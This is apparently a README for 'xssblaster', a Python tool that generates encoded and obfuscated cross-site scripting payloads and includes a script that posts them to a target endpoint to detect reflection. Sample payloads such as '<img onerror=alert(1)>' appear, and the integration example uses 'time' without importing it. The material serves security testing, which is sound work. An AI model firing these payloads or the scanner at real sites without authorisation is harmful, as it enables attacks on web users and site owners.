📦 Installation

Using uv (Recommended)

# Install as a global tool (preferred)
uv tool install xssblaster

# Or add to project
uv add xssblaster

From PyPI

pip install xssblaster

From Source

git clone https://github.com/yourusername/xssblaster.git
cd xssblaster
uv sync --dev

Requirements: Python 3.10+

🎯 Quick Start

First Run - Automatic Setup

# XSS Blaster automatically initializes on first run
xssblaster
# 🚀 First run detected! Setting up XSS Blaster configuration...
# ✅ Configuration initialized at: ~/.config/xssblaster
# 📝 Default payload file: ~/.config/xssblaster/my-xss.txt
# 💡 You can edit this file to customize your payloads.

CLI Usage

# Basic payload generation
xssblaster -o payloads.txt

# Generate with specific encodings
xssblaster --base64 --unicode --hex -o encoded.txt

# Use custom payload file
xssblaster -i my-payloads.txt -o output.txt

# Add prefix/suffix wrappers
xssblaster -p '<script>' -s '</script>' -o wrapped.txt

# Initialize/reset configuration
xssblaster --init-config

Advanced Examples

# Multiple encoding combinations
xssblaster --jsfuck --base64 --unicode -o advanced.txt

# Context-specific testing
xssblaster --html --css --hex -p '">' -s '<script>' -o attribute_break.txt

# Generate without writing to file (preview)
xssblaster --base64 --no-output

🐍 Python Module Usage

XSS Blaster can be used as a Python module in your own scripts and applications:

Basic Module Usage

from xssblaster import generate_payloads

# Generate payloads with default settings
payloads, base_count, total_count = generate_payloads()

print(f"Generated {total_count} payloads from {base_count} base vectors")

# Iterate through payloads
for counter, payload in payloads:
    print(f"[{counter}] {payload}")

Advanced Configuration

from xssblaster import generate_payloads

# Configure specific encodings
variant_filters = {
    "base": True,              # Include base payloads
    "base64_encode": True,     # Base64 encoding
    "unicode_escape": True,    # Unicode escaping
    "html_entity": True,       # HTML entity encoding
    "hex_encode": True,        # Hexadecimal encoding
    "jsfuck": True,           # JSFuck obfuscation
}

payloads, base_count, total = generate_payloads(
    prefix='<script>',
    suffix='</script>',
    variant_filters=variant_filters
)

# Process payloads
for counter, payload in payloads:
    print(f"Payload {counter}: {payload}")

Custom Payload Files

from xssblaster import generate_payloads

# Use custom payload file
payloads, base_count, total = generate_payloads(
    payload_file='/path/to/custom-payloads.txt',
    variant_filters={"base": True, "base64_encode": True}
)

# Save to file
with open('output.txt', 'w') as f:
    for counter, payload in payloads:
        f.write(f"{payload}\n")

Integration Example

import requests
from xssblaster import generate_payloads

def test_xss_endpoint(url, param_name):
    """Test an endpoint for XSS vulnerabilities"""
    
    # Generate payloads with specific encodings
    payloads, _, total = generate_payloads(
        variant_filters={
            "base": True,
            "html_entity": True,
            "unicode_escape": True
        }
    )
    
    print(f"Testing {total} payloads against {url}")
    
    for counter, payload in payloads:
        # Test payload
        data = {param_name: payload}
        response = requests.post(url, data=data)
        
        # Check if payload is reflected
        if payload in response.text:
            print(f"[POTENTIAL XSS] Payload {counter}: {payload}")
        
        # Rate limiting
        time.sleep(0.1)

# Usage
test_xss_endpoint('https://example.com/search', 'query')

Available Encoding Options

When using the module, you can enable specific encodings with variant_filters:

variant_filters = {
    # Basic encodings
    "base": True,                    # Original payloads
    "base64_encode": True,           # Base64 encoding
    "unicode_escape": True,          # Unicode escaping (\u0041)
    "hex_encode": True,              # Hex encoding (\x41)
    "octal_encode": True,            # Octal encoding (\101)
    
    # HTML encodings
    "html_entity": True,             # HTML entities (A)
    
    # Advanced obfuscation
    "jsfuck": True,                 # JSFuck encoding
}

📚 Documentation

Configuration Files

• User Config: ~/.config/xssblaster/my-xss.txt
• Package Data: Bundled with installation
• Custom Files: Specify with -i/--input

Payload Format

Payloads use {n} as a placeholder for dynamic counter replacement:

prompt({n})           # Becomes: prompt(1), prompt(2), etc.
<img onerror=alert({n})>  # Becomes: <img onerror=alert(1)>, etc.

Output Format

Each payload is numbered for easy identification:

[1] prompt(1)
[2] alert(2)
[3] <script>confirm(3)</script>
